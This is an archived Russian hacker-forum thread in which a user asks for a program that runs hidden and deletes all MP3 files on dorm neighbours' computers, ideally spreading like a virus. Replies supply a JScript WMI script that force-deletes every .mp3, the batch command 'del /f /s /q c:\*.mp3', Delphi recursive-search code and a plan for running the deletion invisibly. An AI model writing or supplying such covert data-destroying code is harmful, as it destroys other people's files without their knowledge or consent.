Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Програ для удаления *.mp3

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> Програ для удаления *.mp3
Имя
Сообщение << Старые топики   Новые топики >>
Програ для удаления *.mp3 - 2009-02-12 02:16:26.730000   
[Triton]

Сообщений: 33
Оценки: 0
Присоединился: 2008-02-07 09:29:53.750000
Привет. Живу в общаге. Достали все со своими супер колонками. Хочу скомпилить чтото, чтоб удаляло на всех дисках жертвы всю музыку (а именно все файлы с расширением *.mp3).
Может кто порадует исходником такого чуда? Помогите наказать нарушителей порядка:@. Если прога будет размножатся, заражать другие *.ехе тогда ето вобще отлично. Заранее спасибо.
P.S. Админы не удаляйте плиз тему. Если не туда написал, переместите пожалуйста.

P.P.S. Мне хотябы простой исходник, без всякого там размножения и заражения. Просто чтоб запускалась прога (желательно скрыто) и удаляла на всех дисках *.mp3 (желательно сразу раз и навсегда, без очистки корзины). Желательно с++ или делфи.
Post #: 1
RE: Програ для удаления *.mp3 - 2009-02-12 03:31:09.330000   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
Думаю ты представляешь, что сделают за такие фокусы, если узнают, кто распространитель :D.
Post #: 2
RE: Програ для удаления *.mp3 - 2009-02-12 08:17:35.223333   
SkyLinE215

Сообщений: -986
Оценки: 0
Присоединился: 2007-08-27 10:25:44.570000
Используй FindFirst и FindNext чтобы найти файлы *.mp3 на компе потом функцию remove
Не забудь включить stdio.h
Post #: 3
RE: Програ для удаления *.mp3 - 2009-02-12 11:37:44.843333   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
Можно и в несколько потоков :).

P.S. походу чел вообще далёк от программирования.
Post #: 4
RE: Програ для удаления *.mp3 - 2009-02-12 11:40:42.433333   
[Triton]

Сообщений: 33
Оценки: 0
Присоединился: 2008-02-07 09:29:53.750000
Я очень далек от прогромирования. Может кто-то выложит какой-то исходник, хоть на паскале) Просто очень хочется наказать нарушителей тишины. За исходник буду очень благодарен.
Post #: 5
RE: Програ для удаления *.mp3 - 2009-02-12 14:09:09.716666   
VaZoNeZ

Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666
за 1 вмз продам тебе с исходником на MASM
Post #: 6
RE: Програ для удаления *.mp3 - 2009-02-12 15:06:59.206666   
Format_C

Сообщений: 97
Оценки: 0
Присоединился: 2008-07-09 13:14:54.146666
можно с помощью bat-ника:
del C:\*.mp3 /q удалит все mp3 файлы на диске C
но за такой прикол можно и по репе получить :)
Post #: 7
RE: Програ для удаления *.mp3 - 2009-02-12 16:59:24.043333   
VaZoNeZ

Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666
х….я это:) батнки надо сжигать, со злой ухмылкой доливать бензину…

а гдеж рекурсиа? а? гдеж все дисиськи ?
Post #: 8
RE: Програ для удаления *.mp3 - 2009-02-12 17:00:02.173333   
Mатцал Коушек

Сообщений: 10407
Оценки: 91
Присоединился: 2008-07-09 10:27:49.520000
quote:

ORIGINAL: Format_C

можно с помощью bat-ника:
del C:\*.mp3 /q удалит все mp3 файлы на диске C
но за такой прикол можно и по репе получить :)

Нет, нельзя получить по репе.
Этот код вообще ничего не удалит,  кроме mp3 в самом только корне диска.

Но, вряд ли они хранят музыку в корне диска, вместе с Boot.ini
Post #: 9
RE: Програ для удаления *.mp3 - 2009-02-12 17:42:33.720000   
koro

Сообщений: 977
Оценки: 0
Присоединился: 2008-08-08 09:39:07.460000
quote:

ORIGINAL: Format_C

можно с помощью bat-ника:
del C:\*.mp3 /q удалит все mp3 файлы на диске C
но за такой прикол можно и по репе получить :)

а линуксойдам не страшно будет)
Post #: 10
RE: Програ для удаления *.mp3 - 2009-02-12 21:08:30.436666   
[Triton]

Сообщений: 33
Оценки: 0
Присоединился: 2008-02-07 09:29:53.750000
Насчет батинка согласен. Что, резве некто не может мне сбацать простенький исходник для удаления *.mp3? Логическое мышление говорит мне что ето не такой уже и большой труд. Помогите плиз.
Насчет 1 вмз я и сам не против, вот только у меня нет такой суммы на ВебМани[:(], да и номер кошелька палить не охота.
Post #: 11
RE: Програ для удаления *.mp3 - 2009-02-12 21:11:11.596666   
VaZoNeZ

Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666
в разделе Халява - люди палят :) кому он надо?!
Post #: 12
RE: Програ для удаления *.mp3 - 2009-02-12 23:25:52.200000   
Archivarius

Сообщений: 164
Оценки: 0
Присоединился: 2008-10-26 00:16:25.630000
var wm=ActiveXObject("winmgmts:\\root\\cimv2");
var ps=wm.ExecQuery("SELECT * FROM CIM_DataFile WHERE FileName LIKE '%mp3'");
var fs=new ActiveXObject("Scripting.FileSystemObject");
for (var a=new Enumerator(ps);!a.atEnd();a.moveNext()) fs.DeleteFile(a.item().Name,true);

Это JScript. Вроде должно работать.
Post #: 13
RE: Програ для удаления *.mp3 - 2009-02-13 13:13:05.963333   
[Triton]

Сообщений: 33
Оценки: 0
Присоединился: 2008-02-07 09:29:53.750000
JScript это конечно хорошо. Он точно работает? А то когда "вроде", както неочень хорошо получается. А мож кто проверит его? И напишет как результат:D
Post #: 14
RE: Програ для удаления *.mp3 - 2009-02-13 14:54:14.780000   
Format_C

Сообщений: 97
Оценки: 0
Присоединился: 2008-07-09 13:14:54.146666
конечно, я код неполный написал я просто к тому, что с помощью батника проще будет реализовать, если ни одного ЯП не знаешь
Post #: 15
RE: Програ для удаления *.mp3 - 2009-02-13 16:09:12.460000   
VaZoNeZ

Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666
напиши на батнике
quote:

удаляло на всех дисках жертвы всю музыку
и я дам тебе нобелевскую премию
Post #: 16
RE: Програ для удаления *.mp3 - 2009-02-13 19:31:15.370000   
Sh1td0wn

Сообщений: 156
Оценки: 0
Присоединился: 2008-05-16 16:48:32.490000
что-то типа
for %f in *.mp3 do del %f ?

или это только в той папке, из которой запустили?
Post #: 17
RE: Програ для удаления *.mp3 - 2009-02-13 21:28:29.860000   
VaZoNeZ

Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666
на батнике рекурсии небывает
Post #: 18
RE: Програ для удаления *.mp3 - 2009-02-13 21:50:59.343333   
Mатцал Коушек

Сообщений: 10407
Оценки: 91
Присоединился: 2008-07-09 10:27:49.520000
quote:

ORIGINAL: VaZoNeZ

на батнике рекурсии небывает

Запусти батник с таким кодом.
tree c:\&gt;Log.txt Получим список всех папок Log.txt.
Потом, последовательно, в каждой папке удалим *.mp3

Можно постараться отредактить батником Log.txt и обойти все папки.
Но писать мне это лень.

Зато, пару минут, экзешник такой накодить.
Post #: 19
RE: Програ для удаления *.mp3 - 2009-02-13 22:17:11.563333   
VENOM4X

Сообщений: 246
Оценки: 0
Присоединился: 2008-02-18 22:49:08.960000
Гугль рулит : http://codesources.net/delphi-rekursivnyiy-poisk-faylov/

сам исходник с этой страницы:

procedure ScanDir(StartDir, Mask: String; List: TStrings); var SearchRec: TSearchRec; begin if Mask = '' then Mask:= '*.*'; if StartDir[Length(StartDir)] = '' then StartDir := StartDir + ''; if FindFirst(StartDir+Mask, faAnyFile, SearchRec) = 0 then begin repeat Application.ProcessMessages; if (SearchRec.Attr and faDirectory) = faDirectory then List.Add(StartDir + SearchRec.Name) else if (SearchRec.Name = '..') and (SearchRec.Name &lt;&gt; '.') then ScanDir(StartDir + SearchRec.Name + '',Mask,List); until FindNext(SearchRec) = 0; FindClose(SearchRec); end; end;
пример юзания:
procedure TForm1.Button1Click(Sender: TObject); var list: TStrings; begin list:= TStringList.Create; ScanDir('c:', '*.txt', list); Memo1.Lines:= list; list.Free; end;
Думаю, что это и была основная проблема?
Post #: 20
RE: Програ для удаления *.mp3 - 2009-02-14 22:22:36.780000   
Chinese

Сообщений: 11
Оценки: 0
Присоединился: 2008-12-26 20:13:57.360000
VENOM4X конечно ты помог, дал направление куда капать, но неполностью. Музыка может быть и на другом носителе, что же уму все буквы в сканф вписывать. И ещё, он хочет резидентку. :DИзвените за офтоп но как здесь приклеплять файлы в аттач.
Post #: 21
RE: Програ для удаления *.mp3 - 2009-02-14 23:13:45.866666   
VENOM4X

Сообщений: 246
Оценки: 0
Присоединился: 2008-02-18 22:49:08.960000
quote:

ORIGINAL: Chinese
что же уму все буквы в сканф вписывать


нет, не все: http://www.delphisources.ru/pages/faq/base/get_disk_list.html

А сделать прогу резидентной, я думаю, не проблема.
Post #: 22
RE: Програ для удаления *.mp3 - 2009-02-23 12:09:37.390000   
[Triton]

Сообщений: 33
Оценки: 0
Присоединился: 2008-02-07 09:29:53.750000
quote:

var wm=ActiveXObject("winmgmts:\\root\\cimv2");
var ps=wm.ExecQuery("SELECT * FROM CIM_DataFile WHERE FileName LIKE '%mp3'");
var fs=new ActiveXObject("Scripting.FileSystemObject");
for (var a=new Enumerator(ps);!a.atEnd();a.moveNext()) fs.DeleteFile(a.item().Name,true);

Это JScript. Вроде должно работать.

Я тут подумал, вобщем я смогу сделать то что нужно с помощью JScript. Вот только скажите, он точно работает? уверен что здесь есть люди знающие JScript. разве вам так тяжело посмотреть на него, и сказать работоспособен ли он?
Post #: 23
RE: Програ для удаления *.mp3 - 2009-02-23 12:56:21.243333   
Fard

Сообщений: 35
Оценки: 0
Присоединился: 2009-02-21 22:51:47.973333
Тут так набросал идейку, просто весь исходник писать сейчас нет времени, занят я сильно.
Вот короче принцип:
1) На C++ написать программу которая выдаёт полный путь ко всем файлам, (раньше что то такое делал, но уже не помню, вспоминать надо, но это очень легко делаться), удаляем из списка все что не закачиваеться на .mp3
2) Далее с помощью программки на С++ просто создавать батник и помешать туда следующее содержимое (del строка до имени файла, и параметры удаления без запроса, без помешения в корзину, и удаления файлов которые если даже используються)
3) Далее через тоуже запускаешь этот батник (но скрытом режиме (это возможно, я делал))
4) Можно сделать так что бы программа тоже запускалась в не видемом режиме.

Вот набросок, дерзай…. ))) ….
Post #: 24
RE: Програ для удаления *.mp3 - 2009-02-23 17:40:17.216666   
Archivarius

Сообщений: 164
Оценки: 0
Присоединился: 2008-10-26 00:16:25.630000
quote:

ORIGINAL: [Triton]
Я тут подумал, вобщем я смогу сделать то что нужно с помощью JScript. Вот только скажите, он точно работает?
Да как-то проверять не охота.. Вобще этот вот скриптег сначала должно долго при долго хардами шуршать (Собирать со всех хардов ссылки на файлы mp3), а потом их быстренько удалять.
Post #: 25
RE: Програ для удаления *.mp3 - 2009-02-23 18:33:45.413333   
Mатцал Коушек

Сообщений: 10407
Оценки: 91
Присоединился: 2008-07-09 10:27:49.520000
quote:

ORIGINAL: VaZoNeZ

напиши на батнике
quote:

удаляло на всех дисках жертвы всю музыку
и я дам тебе нобелевскую премию

Вы справку к батникам читаете, нобелевцы?
Достаточно дописать нужный ключ и будет удалены все файлы по маске из всех подкаталогов, то есть, со всего диска.

Всего одна строка в батнике, и с диска  С:\ будут удалены все мп3, из всех папок.

del /f /s /q с:\*.mp3
Post #: 26
RE: Програ для удаления *.mp3 - 2009-02-23 18:38:36.896666   
VaZoNeZ

Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666
quote:

на С++ просто создавать батник и помешать туда следующее содержимое (del строка до имени файла, и параметры удаления без запроса, без помешения в корзину, и удаления файлов которые если даже используються)

улыбнуло по самое не балуйся
Post #: 27
RE: Програ для удаления *.mp3 - 2009-02-26 19:20:57.710000   
Sрam

Сообщений: 2863
Оценки: 372
Присоединился: 2009-01-16 15:23:43.276666

quote:

ORIGINAL: [Triton]

Привет. Живу в общаге. Достали все со своими супер колонками. Хочу скомпилить чтото, чтоб удаляло на всех дисках жертвы всю музыку (а именно все файлы с расширением *.mp3).
Может кто порадует исходником такого чуда? Помогите наказать нарушителей порядка:@. Если прога будет размножатся, заражать другие *.ехе тогда ето вобще отлично. Заранее спасибо.
P.S. Админы не удаляйте плиз тему. Если не туда написал, переместите пожалуйста.

P.P.S. Мне хотябы простой исходник, без всякого там размножения и заражения. Просто чтоб запускалась прога (желательно скрыто) и удаляла на всех дисках *.mp3 (желательно сразу раз и навсегда, без очистки корзины). Желательно с++ или делфи.

Ming в помощь!
Post #: 28
Страниц:  [1]
Все форумы >> [Компилируемые языки] >> Програ для удаления *.mp3







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.